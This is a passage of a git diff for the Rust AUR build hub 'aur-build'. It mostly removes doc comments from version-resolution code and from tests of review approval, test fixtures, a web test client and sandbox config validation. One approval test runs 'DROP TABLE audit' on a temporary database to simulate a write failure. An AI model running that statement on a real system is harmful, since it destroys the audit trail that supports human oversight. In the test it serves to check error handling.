index: entry.index, url: entry.url.clone(), @@ -67,13 +57,9 @@ pub fn probe(recipe: &Recipe, accepted: &[UpstreamPin]) -> Result<StageA> { branch: entry.branch.clone(), commit: sha, }), - // The remote is gone or the ref vanished: that is movement - // we must not swallow, and Stage B will report it properly. None => unprobed.push(entry.url.clone()), } } - // svn/hg/bzr: no cheap universal probe. Be honest about it and let - // Stage B decide, rather than claiming nothing moved. Some(other) => { unprobed.push(format!("{other}:{}", entry.url)); pins.push(UpstreamPin { @@ -91,15 +77,12 @@ pub fn probe(recipe: &Recipe, accepted: &[UpstreamPin]) -> Result<StageA> { Ok(StageA { pins, unprobed, moved: now != then }) } -/// What Stage B produced: the authoritative version plus the pins it was -/// computed from. #[derive(Debug, Clone)] pub struct StageB { pub epoch: String, pub pkgver: String, pub pkgrel: String, pub pins: Vec<UpstreamPin>, - /// True when the answer came from the cache instead of a fresh resolution. pub cached: bool, } @@ -108,8 +91,6 @@ impl StageB { crate::pkgver::full_version(&self.epoch, &self.pkgver, &self.pkgrel) } - /// Rebuild an answer from its cache row. The `cached` flag is ours to set: - /// the row says nothing about how this call got its answer (§6 M-6). fn from_cache(row: StageBCacheRow) -> Self { StageB { epoch: row.epoch, @@ -120,7 +101,6 @@ impl StageB { } } - /// The row this answer occupies in `stage_b_cache`. fn as_row(&self) -> StageBCacheRow { StageBCacheRow { epoch: self.epoch.clone(), @@ -131,8 +111,6 @@ impl StageB { } } -/// A process-wide cap on concurrent Stage B resolutions (§5.2). Each one clones -/// repositories and runs a chroot-less makepkg. static RUNNING: AtomicUsize = AtomicUsize::new(0); static SLOT_FREE: Condvar = Condvar::new(); static SLOT_LOCK: Mutex<()> = Mutex::new(()); @@ -140,7 +118,6 @@ static SLOT_LOCK: Mutex<()> = Mutex::new(()); pub struct StageBSlot(()); impl StageBSlot { - /// Take a Stage B slot, blocking until one is free. pub fn acquire(cap: usize) -> Self { let cap = cap.max(1); let guard = SLOT_LOCK.lock().unwrap_or_else(|e| e.into_inner()); @@ -164,10 +141,6 @@ impl Drop for StageBSlot { } } -/// Stage B: resolve the real `pkgver` for a VCS pkgbase. -/// -/// `None` means "there is nothing to resolve" — the recipe has no VCS sources, -/// so the literal `pkgver=` is already the answer. pub fn resolve( cfg: &Config, db: &Db, @@ -181,15 +154,10 @@ pub fn resolve( } let tip_hash = tip_hash(&stage_a.pins); - // Cache hit: same recipe, same upstream tips. Keyed on - // (pkgbase, recipe_hash, upstream_tip) exactly as §5.2 asks. if let Some(hit) = db::stage_b_cache_get(db, pb.id, recipe_hash, &tip_hash)? { return Ok(Some(StageB::from_cache(hit))); } - // Per-pkgbase cooldown: even if the tips moved again, we do not re-resolve the - // same pkgbase more than once per window, so a chatty upstream cannot turn - // detection into a build loop. let cooldown = db::setting_i64(db, "stage_b_cooldown", 86400); if let Some(recent) = db::stage_b_recent(db, pb.id, cooldown)? { return Ok(Some(StageB::from_cache(recent))); @@ -201,7 +169,6 @@ pub fn resolve( Ok(Some(resolved)) } -/// The actual work: warm the clone cache, then ask `makepkg` what it computes. fn run( cfg: &Config, pb: &Pkgbase, @@ -210,8 +177,6 @@ fn run( tip_hash: &str, stage_a: &StageA, ) -> Result<StageB> { - // Clone reuse: fetch into a persistent bare cache rather than re-cloning a - // multi-gigabyte upstream every day (§5.2). let mut pins = stage_a.pins.clone(); for pin in &mut pins { if pin.commit.is_empty() { @@ -224,8 +189,6 @@ fn run( } else { let _ = git::fetch_and_head(&cache); } - // The clone is here anyway, so confirm the tip locally: that also proves - // the commit we probed actually exists and is reachable. if let Ok(local) = git::head(&cache) { if !local.is_empty() && git::has_commit(&cache, &pin.commit) { pin.branch = pin.branch.clone().or_else(|| default_branch(&cache)); @@ -233,8 +196,6 @@ fn run( } } - // Run `makepkg --vercheck` against the recipe in a scratch directory. The - // real tool clones the sources itself; the shim reports the fixture value. let scratch = scratch_dir(cfg, &pb.name, recipe_hash, tip_hash); let _ = std::fs::remove_dir_all(&scratch); std::fs::create_dir_all(&scratch)?; @@ -277,7 +238,6 @@ fn default_branch(cache: &std::path::Path) -> Option<String> { .filter(|s| !s.is_empty()) } -/// A stable hash of the upstream tip set — the cache key's third component. pub fn tip_hash(pins: &[UpstreamPin]) -> String { let mut v: Vec<String> = pins .iter() diff --git a/tests/approve.rs b/tests/approve.rs index 86dcf46..15a205a 100644 --- a/tests/approve.rs +++ b/tests/approve.rs @@ -4,8 +4,6 @@ use aur_build::db::model::*; use aur_build::review::{approve::Stale, approve::*, candidates, diff}; use common::*; -/// Detect, open the review, and render it the way a reviewer opening the page -/// would — returning the candidate plus the two hashes an approval must echo. fn open_review(env: &Env, name: &str) -> (CandidateRow, String) { aur_build::watch::detect::check_pkgbase(&env.cfg, &env.db, name).unwrap(); let c = candidates::pending_candidates(&env.db).unwrap().remove(0); @@ -21,8 +19,6 @@ fn approve_writes_an_immutable_row_carrying_both_hashes() { assert_eq!(a.decision, "approved"); assert_eq!(a.identity_hash, c.identity_hash); assert_eq!(a.diff_digest, dd); - // The row itself records them, so "the human approved *this* diff" is - // provable later (§7.2). let stored: (String, String, Option<String>) = env .db .read(|c| { @@ -35,7 +31,6 @@ fn approve_writes_an_immutable_row_carrying_both_hashes() { .unwrap(); assert_eq!(stored.0, c.identity_hash); assert_eq!(stored.1, dd); - // Approvals are append-only: the audit trigger rejects any edit (§10 I10). let err = env .db .writer @@ -45,7 +40,6 @@ fn approve_writes_an_immutable_row_carrying_both_hashes() { }) .err(); assert!(err.is_some(), "approval rows must be immutable"); - // And the human action is in the audit log. let actions: Vec<String> = env .db .read(|c| { @@ -61,8 +55,6 @@ fn approve_writes_an_immutable_row_carrying_both_hashes() { fn a_stale_identity_hash_is_refused() { let (env, fx) = env_with_fixture("plain-make"); let (c, dd) = open_review(&env, "plain-make"); - // AUR moves while the reviewer is reading: the candidate collapses in place - // and its identity changes under them. fx.bump(&[("pkgver", "2.0")]); aur_build::watch::detect::check_pkgbase(&env.cfg, &env.db, "plain-make").unwrap(); let now = candidates::candidate_by_id(&env.db, c.id).unwrap().unwrap(); @@ -75,8 +67,6 @@ fn a_stale_identity_hash_is_refused() { Some(0), "a refused approval must leave nothing behind" ); - // Approving with the *current* identity succeeds: the reviewer just has to - // look at what is on screen now. let dd2 = diff::render_and_store(&env.db, &env.cfg, &now).unwrap(); approve(&env.db, "tester", c.id, &now.identity_hash, &dd2, None).unwrap(); } @@ -103,19 +93,12 @@ fn approving_twice_is_refused_not_duplicated() { #[test] fn a_broken_database_is_not_reported_as_a_stale_review() { - // What this pins: every failure inside the approval transaction used to be - // mapped into `Stale::NotPending`, so a SQLite error reached the reviewer as - // "review is no longer pending" — the one message telling them to look again - // when the truth is that the write failed (§6 M-3). let (env, _fx) = env_with_fixture("plain-make"); let (c, dd) = open_review(&env, "plain-make"); - // Make the write impossible halfway through: the approval row and the - // candidate update succeed, then the audit append has nowhere to go. env.exec("DROP TABLE audit", &[]); let err = approve(&env.db, "tester", c.id, &c.identity_hash, &dd, None).unwrap_err(); assert!(matches!(err, ApproveError::System(_)), "a broken database was reported as a stale review: {err:?}"); assert!(err.to_string().contains("could not be recorded"), "the message hides the cause: {err}"); - // And the refusal is atomic: the half-written approval rolled back with it. assert_eq!(env.query_i64("SELECT count(*) FROM approval", &[]), Some(0)); let after = candidates::candidate_by_id(&env.db, c.id).unwrap().unwrap(); assert_eq!(after.state, CandidateState::PendingReview, "a failed approval must not resolve the review"); @@ -123,32 +106,25 @@ fn a_broken_database_is_not_reported_as_a_stale_review() { #[test] fn bulk_refusals_are_their_own_reasons() { - // Bulk used to bend `Stale::NotPending` into "high risk", "unknown decision" - // and "the database failed" (§6 M-3). let (env, _fx) = env_with_fixture("plain-make"); let (c, dd) = open_review(&env, "plain-make"); candidates::set_risk(&env.db, c.id, "high", &["new source host".into()]).unwrap(); let items = [(c.id, c.identity_hash.clone(), dd.clone())]; - // High risk without the individual confirmation: the reason is the risk. let out = bulk(&env.db, "tester", &items, "approve", &[]).unwrap(); assert!( matches!(out[0].outcome, BulkOutcome::Refused(BulkRefusal::HighRiskUnconfirmed)), "{:?}", out[0].outcome ); - // A decision the form should never have sent is its own reason. let out = bulk(&env.db, "tester", &items, "ship-it", &[]).unwrap(); assert!( matches!(out[0].outcome, BulkOutcome::Refused(BulkRefusal::UnknownDecision(_))), "{:?}", out[0].outcome ); - // Confirming it individually is the answer to the first refusal. let out = bulk(&env.db, "tester", &items, "approve", &[c.id]).unwrap(); assert!(matches!(out[0].outcome, BulkOutcome::Approved(_)), "{:?}", out[0].outcome); - // Now it is no longer pending, and *that* is a staleness — the two reasons - // stay distinguishable in both directions. let out = bulk(&env.db, "tester", &items, "approve", &[c.id]).unwrap(); assert!(matches!(out[0].outcome, BulkOutcome::Refused(BulkRefusal::Stale(_))), "{:?}", out[0].outcome); assert_eq!(env.query_i64("SELECT count(*) FROM approval", &[]), Some(1)); @@ -160,7 +136,6 @@ fn a_bulk_rejection_hands_back_no_invented_approval() { let (c, dd) = open_review(&env, "plain-make"); let out = bulk(&env.db, "tester", &[(c.id, c.identity_hash.clone(), dd)], "reject", &[]).unwrap(); assert!(matches!(out[0].outcome, BulkOutcome::Rejected), "{:?}", out[0].outcome); - // A rejection records a `rejected` row; there is no approval to return. assert_eq!(env.query_i64("SELECT count(*) FROM approval WHERE decision='rejected'", &[]), Some(1)); assert_eq!(env.query_i64("SELECT count(*) FROM approval WHERE decision='approved'", &[]), Some(0)); } @@ -172,8 +147,6 @@ fn collapse_in_place_bumps_revision_without_a_new_row() { let first = c.revision; assert!(c.viewed_at.is_none(), "render_and_store must not mark it viewed"); - // Nobody has looked at it: the new upstream state collapses *into* the open - // review instead of queueing beside it (§7.1). fx.bump(&[("pkgver", "2.0")]); aur_build::watch::detect::check_pkgbase(&env.cfg, &env.db, "plain-make").unwrap(); let after = candidates::pending_candidates(&env.db).unwrap(); @@ -200,8 +173,6 @@ fn once_viewed_a_new_state_freezes_the_old_one_as_superseded() { assert_ne!(open[0].id, c.id, "a fresh review was opened"); let frozen = candidates::candidate_by_id(&env.db, c.id).unwrap().unwrap(); assert_eq!(frozen.state, CandidateState::Superseded); - // The frozen one can no longer be approved: approving it would build a version - // nobody is looking at. let err = approve(&env.db, "tester", c.id, &frozen.identity_hash, &frozen.diff_digest, None).unwrap_err(); assert!(matches!(err, ApproveError::Stale(Stale::NotPending { .. })), "{err:?}"); } @@ -211,10 +182,8 @@ fn a_rejected_identity_is_not_re_raised() { let (env, _fx) = env_with_fixture("plain-make"); let (c, _dd) = open_review(&env, "plain-make"); reject(&env.db, "tester", c.id, "not this").unwrap(); - // Same upstream state, polled again: nothing new to review. aur_build::watch::detect::check_pkgbase(&env.cfg, &env.db, "plain-make").unwrap(); assert!(candidates::pending_candidates(&env.db).unwrap().is_empty()); - // A different identity is a different question, and gets its own review. let err = approve(&env.db, "tester", c.id, &c.identity_hash, &c.diff_digest, None).unwrap_err(); assert!(matches!(err, ApproveError::Stale(Stale::NotPending { .. }))); } @@ -237,7 +206,6 @@ fn reject_requires_a_reason_and_records_it() { .unwrap(); assert!(note.contains("license"), "{note}"); - // And the audit row says *which review* was rejected, not only why (§6 m-4). let (actor_kind, detail): (String, String) = env .db .read(|c| { @@ -257,8 +225,6 @@ fn reject_requires_a_reason_and_records_it() { // ------------------------------------------------------------- the CLI path -- -/// Drive the real binary the way an operator would: `init`, `subscribe`, -/// `detect`, `show`, `approve --yes`. #[test] fn cli_end_to_end_approves_and_queues_a_build() { let tmp = tempfile::tempdir().unwrap(); @@ -280,8 +246,6 @@ fn cli_end_to_end_approves_and_queues_a_build() { let out = cli(bin, &root, &["reviews"]); assert!(out.stdout.contains("#1"), "reviews: {}", out.stdout); - // `show` renders the panels and the hashes; `approve` without --yes refuses to - // act. let out = cli(bin, &root, &["show", "1"]); assert!(out.stdout.contains("identity_hash"), "show: {}", out.stdout); let shown = out.stdout.clone(); @@ -298,7 +262,6 @@ fn cli_end_to_end_approves_and_queues_a_build() { assert_eq!(cli_count(&root, "build"), 1); assert!(shown.contains("PKGBUILD") || shown.contains("pkgver"), "diff pane: {shown}"); - // Approving the same review again is refused with a non-zero status. let out = cli(bin, &root, &["approve", "1", "--yes"]); assert_eq!(out.code, Some(2), "stale approval should exit 2: {:?}", out); } @@ -342,13 +305,11 @@ fn cli(bin: &str, root: &std::path::Path, args: &[&str]) -> Out { } } -/// A local git repo standing in for AUR, so the CLI test needs no network. fn cli_fixture(root: &std::path::Path, name: &str) -> (std::path::PathBuf, Fixture) { let fx = materialize_fixture(root, name); (fx.aur.clone(), fx) } -/// Query the CLI's own database through a throwaway read connection. fn cli_count(root: &std::path::Path, table: &str) -> i64 { let conn = rusqlite::Connection::open_with_flags( root.join("aur-build.db"), diff --git a/tests/common/mod.rs b/tests/common/mod.rs index b1a50ac..b4f40dd 100644 --- a/tests/common/mod.rs +++ b/tests/common/mod.rs @@ -46,7 +46,6 @@ impl Env { self.tmp.path().join(p) } - /// Insert a pkgbase + active subscription and return the pkgbase id. pub fn subscribe(&self, name: &str) -> i64 { let rid = db::repo_id(&self.db).unwrap(); let url = format!("file://{}/aur/{}.git", self.root().display(), name); @@ -54,8 +53,6 @@ impl Env { db::get_pkgbase(&self.db, name).unwrap().unwrap().id } - /// Drop a row back in via raw SQL (tests need to construct states the API - /// only reaches through several steps). pub fn exec(&self, sql: &str, params: &[P]) -> usize { let sql = sql.to_string(); let params: Vec<P> = params.to_vec(); @@ -74,8 +71,6 @@ impl Env { .unwrap() } - /// Stand in for the build+publish path: turn an approved candidate into a - /// published release and move the accepted pointer. pub fn accept_as_release(&self, candidate_id: i64) -> i64 { let at = "2026-01-01T00:00:00Z"; self.db @@ -121,14 +116,12 @@ impl Env { .unwrap() } - /// Make the next publish abort at a named point (I4 / I5 tests). pub fn set_publish_fault(&mut self, at: &str) { self.cfg.hooks.publish_fault = Some(at.to_string()); } pub fn clear_publish_fault(&mut self) { self.cfg.hooks.publish_fault = None; } - /// Make the named shim fail (the "build failed" path, §8.4). pub fn set_shim_fail(&mut self, tool: &str) { self.cfg.hooks.shim_fail = Some(tool.to_string()); } @@ -152,7 +145,6 @@ impl Env { .unwrap() } - /// The same for a text column, so a test can read a timestamp back. pub fn query_str(&self, sql: &str, params: &[P]) -> Option<String> { let sql = sql.to_string(); let params: Vec<P> = params.to_vec(); @@ -173,7 +165,6 @@ impl Env { } } -/// A test parameter. Owned so it can cross the writer-actor channel. #[derive(Debug, Clone)] pub enum P { I(i64), @@ -196,7 +187,6 @@ impl From<String> for P { } } -/// Shorthand for building a parameter slice. pub fn params(v: Vec<impl Into<P>>) -> Vec<P> { v.into_iter().map(Into::into).collect() } @@ -209,13 +199,10 @@ impl Drop for Env { // ------------------------------------------------------------- fixtures ---- -/// Root of the checked-in fake-package corpus (§16a). pub fn corpus_root() -> PathBuf { PathBuf::from(env!("CARGO_MANIFEST_DIR")).join("testcorpus") } -/// Directory holding the shim executables cargo just built. Prepending this to -/// PATH is the whole test harness: the pipeline runs unmodified. pub fn shim_dir() -> PathBuf { Path::new(&env!("CARGO_BIN_EXE_makechrootpkg")) .parent() @@ -223,9 +210,6 @@ pub fn shim_dir() -> PathBuf { .to_path_buf() } -/// An environment wired to one corpus fixture: the fixture is committed into a real -/// git repo standing in for AUR, an optional local upstream git repo exists for VCS -/// sources, and the shims obey the fixture manifest. pub fn env_with_fixture(name: &str) -> (Env, Fixture) { let tmp = tempfile::tempdir().expect("tempdir"); let fx = materialize_fixture(tmp.path(), name); @@ -247,8 +231,6 @@ pub fn env_with_fixture(name: &str) -> (Env, Fixture) { (env, fx) } -/// Two fixtures sharing one server root, so a test can talk about packages that -/// depend on each other. pub fn env_with_two_fixtures(a: &str, b: &str) -> (Env, Fixture, Fixture) { let tmp = tempfile::tempdir().expect("tempdir"); let fa = materialize_fixture(tmp.path(), a); @@ -272,17 +254,12 @@ pub fn env_with_two_fixtures(a: &str, b: &str) -> (Env, Fixture, Fixture) { (env, fa, fb) } -/// Copy a corpus fixture into a server root: recipe files into a git repo standing -/// in for AUR, payload files beside it so their bytes can be swapped, and a local -/// upstream repo when the recipe references one. pub fn materialize_fixture(root: &Path, name: &str) -> Fixture { let src = corpus_root().join(name); assert!(src.exists(), "no fixture {name} in {}", corpus_root().display()); let manifest = root.join("manifest.json"); std::fs::copy(src.join("manifest.json"), &manifest).expect("copy manifest"); - // Data files a source URL points at live outside the recipe so a test can swap - // their bytes (the digest-drift case) without touching git. let data = root.join(format!("fixture/{name}")); std::fs::create_dir_all(&data).unwrap(); let aur = root.join(format!("aur/{name}.git")); @@ -321,7 +298,6 @@ pub fn materialize_fixture(root: &Path, name: &str) -> Fixture { if has_upstream2 { make_git_repo(&upstream2, &[("README", "second upstream\n")], "upstream: initial"); } - // A `#tag=v1` source needs the tag to exist. if std::fs::read_to_string(src.join("PKGBUILD")) .unwrap_or_default() .contains("#tag=") @@ -351,12 +327,10 @@ pub struct Fixture { pub data: PathBuf, pub manifest: PathBuf, pub upstream: Option<PathBuf>, - /// A second upstream repo, for pkgbases that build from two of them. pub upstream2: Option<PathBuf>, } impl Fixture { - /// Commit a new recipe revision, rewriting `pkgver`/`pkgrel`/`epoch`. pub fn bump(&self, changes: &[(&str, &str)]) -> String { let path = self.aur.join("PKGBUILD"); let text = std::fs::read_to_string(&path).unwrap(); @@ -375,7 +349,6 @@ impl Fixture { git(&self.aur, &["rev-parse", "HEAD"]) } - /// Swap the bytes behind a `SKIP` source without touching the recipe. pub fn swap_payload(&self, body: &str) { for f in ["payload.bin", "data.bin"] { let p = self.data.join(f); @@ -387,21 +360,18 @@ impl Fixture { panic!("fixture {} has no payload file", self.name); } - /// Add a commit to the local upstream repo (pin drift, §5.2). pub fn upstream_commit(&self, body: &str) -> String { let up = self.upstream.clone().expect("fixture has no upstream repo"); git_add_commit(&up, &[("README", body)], body); git(&up, &["rev-parse", "HEAD"]) } - /// Add a commit to the second upstream repo. pub fn upstream2_commit(&self, body: &str) -> String { let up = self.upstream2.clone().expect("fixture has no second upstream repo"); git_add_commit(&up, &[(("README"), body)], body); git(&up, &["rev-parse", "HEAD"]) } - /// HEAD of the (first) upstream repo. pub fn upstream_head(&self) -> String { let up = self.upstream.clone().expect("fixture has no upstream repo"); git(&up, &["rev-parse", "HEAD"]) @@ -417,14 +387,12 @@ impl Fixture { } } -/// A minimal PKGBUILD for tests that need recipe bytes without a fixture dir. pub fn pkgbuild(pkgbase: &str, pkgver: &str, pkgrel: &str, extra: &str) -> String { format!( "pkgbase={pkgbase}\npkgver={pkgver}\npkgrel={pkgrel}\npkgdesc=test\narch=(x86_64)\nurl=https://example.invalid\nlicense=(MIT)\n{extra}\nbuild() {{ :\n}}\npackage_{pkgbase}() {{ :\n}}\n" ) } -/// Build a throwaway git repo with the given files and return its path. pub fn make_git_repo(dir: &Path, files: &[(&str, &str)], msg: &str) -> String { std::fs::create_dir_all(dir).unwrap(); git(dir, &["init", "-q", "-b", "master"]); @@ -468,8 +436,6 @@ pub fn git(dir: &Path, args: &[&str]) -> String { // ------------------------------------------------------------- web driver -- -/// A tiny HTTP client for the surface tests: keeps the session cookie and the CSRF -/// token, and hands back status + body. pub struct Web { pub env: Env, pub fx: Fixture, @@ -495,8 +461,6 @@ impl Web { Self::attach(env, fx) } - /// Start a server on an env the test already built (two fixtures, odd - /// configs) and pick up the session it hands out. pub fn attach(mut env: Env, fx: Fixture) -> Self { env.cfg.bind = "127.0.0.1:0".into(); let server = aur_build::http::spawn(env.cfg.clone(), env.db.clone()).unwrap(); @@ -513,7 +477,6 @@ impl Web { web } - /// Subscribe, detect and render a review so an approval can be attempted. pub fn open_review(&self, name: &str) -> aur_build::db::model::CandidateRow { aur_build::watch::detect::check_pkgbase(&self.env.cfg, &self.env.db, name).unwrap(); let c = aur_build::review::candidates::pending_candidates(&self.env.db).unwrap().remove(0); @@ -521,8 +484,6 @@ impl Web { aur_build::review::candidates::candidate_by_id(&self.env.db, c.id).unwrap().unwrap() } - /// Approve through the library and run the build to publication, so a test can - /// talk about "what the index serves". pub fn publish(&self, name: &str) { let c = self.open_review(name); aur_build::review::approve::approve(&self.env.db, "test", c.id, &c.identity_hash, &c.diff_digest, None) @@ -545,8 +506,6 @@ impl Web { }; let cookie = r.header("set-cookie").map(|s| s.to_string()).unwrap_or_default(); let mut headers = vec![("set-cookie".to_string(), cookie)]; - // ureq 2 will not hand out the whole header map, but it answers for a named - // one, which is all the assertions below need. for name in ["content-type", "content-encoding", "location"] { if let Some(v) = r.header(name) { headers.push((name.to_string(), v.to_string())); @@ -565,16 +524,11 @@ impl Web { self.finish(resp, path) } - /// POST with exactly the fields given and nothing added — used to prove the - /// CSRF gate refuses a form that omitted the token. pub fn post_bare(&self, path: &str, form: &[(&str, &str)]) -> Page { let resp = ureq::post(&self.url(path)).set("Cookie", &self.cookie).send_form(form); self.finish(resp, path) } - /// Send a request over a bare socket: no cookie jar, no redirect following, so - /// the test sees the 303 a browser would have swallowed. The session gate is - /// only meaningful at this level. pub fn raw_request(&self, method: &str, path: &str, headers: &[(&str, String)], body: Option<&str>) -> Raw { use std::io::{Read, Write}; let addr = self.server.addr.clone(); @@ -598,8 +552,6 @@ impl Web { Raw::parse(&raw) } - /// Log in and adopt the session cookie the server issued, refreshing the CSRF - /// token with it — the token is derived from the sid. pub fn login(&mut self, password: &str) -> Raw { let raw = self.raw_request("POST", "/login", &[], Some(&format!("password={}", url_encode(password)))); if let Some(cookie) = raw.cookie() { @@ -619,7 +571,6 @@ impl Web { } } -/// A response read straight off the wire, before any client undoes it. pub struct Raw { pub status: u16, pub headers: Vec<(String, String)>, @@ -646,8 +597,6 @@ impl Raw { self.headers.iter().find(|(k, _)| k == name).map(|(_, v)| v.as_str()) } - /// The `name=value` a browser would keep from this response, i.e. the first - /// Set-Cookie with its attributes stripped. pub fn cookie(&self) -> Option<String> { self.header("set-cookie") .map(|v| v.split(';').next().unwrap_or("").to_string()) @@ -655,7 +604,6 @@ impl Raw { } } -/// Percent-encode enough for a form body built by hand. fn url_encode(s: &str) -> String { s.bytes() .map(|b| match b { @@ -666,8 +614,6 @@ fn url_encode(s: &str) -> String { .collect() } -/// Pull an attribute or meta value out of rendered HTML and undo the escaping the -/// templates applied — a page is the contract here, so we read it as one. pub fn extract(hay: &str, open: &str, close: &str) -> Option<String> { let i = hay.find(open)? + open.len(); let rest = &hay[i..]; diff --git a/tests/config.rs b/tests/config.rs index 3737045..080bbc7 100644 --- a/tests/config.rs +++ b/tests/config.rs @@ -3,8 +3,6 @@ use std::process::Command; use aur_build::config::Config; -/// The exact shape of the bug: a relative `--root`, saved verbatim, read back by -/// the next command. #[test] fn a_relative_root_is_absolutized_once_and_never_doubled() { let rel = PathBuf::from("target").join("config-root-test").join("runtime"); @@ -28,16 +26,12 @@ fn a_relative_root_is_absolutized_once_and_never_doubled() { "the root must never be joined onto itself: {}", rel.join("runtime").display() ); - // Everything derived hangs off the one root, so the database cannot end up in - // a second tree while the config sits in the first. assert!(reloaded.db_path().starts_with(&reloaded.root)); assert!(reloaded.repo_arch_dir().starts_with(&reloaded.root)); std::fs::remove_dir_all(&rel).unwrap(); } -/// The legacy shape on disk: a config written by an `init` that saved `--root -/// runtime` verbatim. Loading it must not resurrect the doubled tree. #[test] fn a_stale_relative_root_in_the_file_is_ignored() { let tmp = tempfile::tempdir().unwrap(); @@ -61,8 +55,6 @@ fn a_root_with_no_config_is_an_error_not_a_fresh_server() { ); } -/// The CLI half of the same rule: the old fallback invented a default config for -/// *any* command, so a typo'd `--root` quietly produced an empty server. #[test] fn the_cli_refuses_a_root_that_was_never_initialized() { let tmp = tempfile::tempdir().unwrap(); @@ -83,7 +75,6 @@ fn the_cli_refuses_a_root_that_was_never_initialized() { assert!(err.contains("init"), "{err}"); } -/// …and `init` is still allowed to run where there is no config yet. #[test] fn init_still_runs_where_there_is_no_config_yet() { let tmp = tempfile::tempdir().unwrap(); @@ -100,14 +91,11 @@ fn init_still_runs_where_there_is_no_config_yet() { assert!(root.join("config.json").exists()); assert!(root.join("aur-build.db").exists()); - // And the command after it agrees about where the tree is. let cfg = Config::load(&root).unwrap(); assert_eq!(cfg.root, std::path::absolute(&root).unwrap()); assert!(!root.join("runtime").exists(), "no doubled tree"); } -/// A root that exists but holds nothing but a config still resolves to itself, -/// whichever way it was spelled. #[test] fn an_absolute_root_is_used_verbatim() { let tmp = tempfile::tempdir().unwrap(); @@ -120,11 +108,6 @@ fn an_absolute_root_is_used_verbatim() { assert_eq!(Config::load(dir).unwrap().root, dir); } -// The sandbox configuration: three kinds, and only three. The kinds are an enum -// now, so a configuration that would silently mean "run the untrusted PKGBUILD as -// the hub's own user" does not parse. - -/// Write a config carrying exactly this `sandbox` value and load it. fn load_sandbox(sandbox: &str) -> Result<Config, String> { let tmp = tempfile::tempdir().unwrap(); std::fs::write( @@ -135,7 +118,6 @@ fn load_sandbox(sandbox: &str) -> Result<Config, String> { Config::load(tmp.path()).map_err(|e| e.to_string()) } -/// Load a config written as an older `aur-build init` would have written it. fn load_raw(body: &str) -> Result<Config, String> { let tmp = tempfile::tempdir().unwrap(); std::fs::write(tmp.path().join("config.json"), body).unwrap(); @@ -206,15 +188,12 @@ fn a_missing_required_field_names_the_field() { #[test] fn a_misspelled_field_is_refused_not_ignored() { - // deny_unknown_fields: `listn` must not parse as "no listen address given". let err = load_sandbox(r#"{"kind":"remote","listn":"127.0.0.1:1","token":"t"}"#).unwrap_err(); assert!(err.contains("listn"), "a typo'd field name must be named: {err}"); } #[test] fn an_unknown_kind_names_the_value_and_the_valid_set() { - // The exact mistake this enum exists to catch: `kata` was a real intent, - // and the old match sent it quietly to loopback. let err = load_sandbox(r#"{"kind":"kata"}"#).unwrap_err(); assert!(err.contains("kata"), "must name the bad value: {err}"); for kind in aur_build::config::Sandbox::KINDS { @@ -224,8 +203,6 @@ fn an_unknown_kind_names_the_value_and_the_valid_set() { #[test] fn a_config_with_no_sandbox_object_is_the_local_backend() { - // The contract with every config.json already on disk: saying nothing means - // loopback. let cfg = load_raw("{\n \"repo_name\": \"aur\"\n}\n").unwrap(); assert!(matches!(cfg.sandbox, aur_build::config::Sandbox::Loopback)); assert_eq!(cfg.repo_name, "aur", "the rest of the config is untouched"); @@ -233,8 +210,6 @@ fn a_config_with_no_sandbox_object_is_the_local_backend() { assert!(cfg.sandbox.shared_workspace(), "loopback shares the filesystem by construction"); } -/// The file an older `aur-build init` wrote, verbatim. It carries the retired keys, -/// but they say what the default already means, so it must still load. #[test] fn a_config_init_wrote_before_the_enum_still_loads() { let cfg = load_raw( @@ -269,8 +244,6 @@ fn a_config_init_wrote_before_the_enum_still_loads() { assert_eq!(cfg.lease_secs, 90); } -/// …but retired keys that *would* have changed behaviour are refused, not quietly -/// reinterpreted. #[test] fn retired_sandbox_keys_that_mean_something_are_refused() { let err = load_raw(r#"{ "sandbox_backend": "remote", "agent_listen": "0.0.0.0:1", "agent_token": "t" }"#) @@ -278,18 +251,14 @@ fn retired_sandbox_keys_that_mean_something_are_refused() { assert!(err.contains("sandbox_backend"), "must name the retired key: {err}"); assert!(err.contains("sandbox"), "must point at the replacement: {err}"); - // Even one retired key with content is enough to refuse. let err = load_raw(r#"{ "sandbox_backend": "kata" }"#).unwrap_err(); assert!(err.contains("sandbox_backend"), "{err}"); - // An empty retired key is noise, not intent, and stays tolerated. assert!(load_raw(r#"{ "sandbox_backend": "loopback", "agent_token": "" }"#).is_ok()); } #[test] fn the_rendezvous_secrets_never_reach_debug() { - // A config that ends up in a log line, a panic, or an audit payload must - // not carry the token or the cluster bearer. let cfg = load_sandbox( r#"{"kind":"agent-sandbox","api":"https://k8s:6443","namespace":"builds", "bearer":"kube-token","image":"img","listen":"0.0.0.0:1","token":"s3cr3t"}"#, @@ -301,12 +270,6 @@ fn the_rendezvous_secrets_never_reach_debug() { assert!(shown.contains("builds"), "the non-secret fields are still visible: {shown}"); } -// The startup guard: the enum makes the impossible unrepresentable, this refuses -// what a type cannot see — a field present but empty, and a remote backend that -// was never told the workspace is shared. - -/// A config that parses but cannot work must be refused by `validate`, not -/// discovered at the step that needed the thing it is missing. #[test] fn a_field_that_is_present_but_empty_is_refused() { let cfg = load_sandbox(r#"{"kind":"remote","listen":"","token":"t","shared_workspace":true}"#) @@ -319,7 +282,6 @@ fn a_field_that_is_present_but_empty_is_refused() { let err = cfg.validate().unwrap_err().to_string(); assert!(err.contains("token"), "whitespace is not a token: {err}"); - // Every agent-sandbox field, one at a time. for blank in ["api", "namespace", "bearer", "image", "listen", "token"] { let mut fields = std::collections::BTreeMap::from([ ("api", "https://k8s:6443"), @@ -338,8 +300,6 @@ fn a_field_that_is_present_but_empty_is_refused() { } } -/// The workspace gap: the build workspace is not shipped to a remote sandbox, so -/// "remote" without this assertion would silently build on the hub. #[test] fn a_remote_backend_must_assert_the_shared_workspace() { let cfg = load_sandbox(r#"{"kind":"remote","listen":"127.0.0.1:1","token":"t"}"#).unwrap(); @@ -357,7 +317,6 @@ fn a_remote_backend_must_assert_the_shared_workspace() { assert!(err.contains("shared_workspace"), "{err}"); assert!(err.contains("agent-sandbox"), "{err}"); - // Asserting it is enough — the guard refuses the silence, not the kind. assert!(load_sandbox( r#"{"kind":"remote","listen":"127.0.0.1:1","token":"t","shared_workspace":true}"# ) @@ -368,15 +327,10 @@ fn a_remote_backend_must_assert_the_shared_workspace() { #[test] fn the_local_backend_needs_no_assertion_at_all() { - // The whole point of keeping loopback the default: it shares the filesystem - // by construction, so there is nothing to promise. assert!(load_sandbox(r#"{"kind":"loopback"}"#).unwrap().validate().is_ok()); assert!(load_raw("{}\n").unwrap().validate().is_ok()); } -/// The guard is wired to the process, not just available as a library call: -/// `aur-build 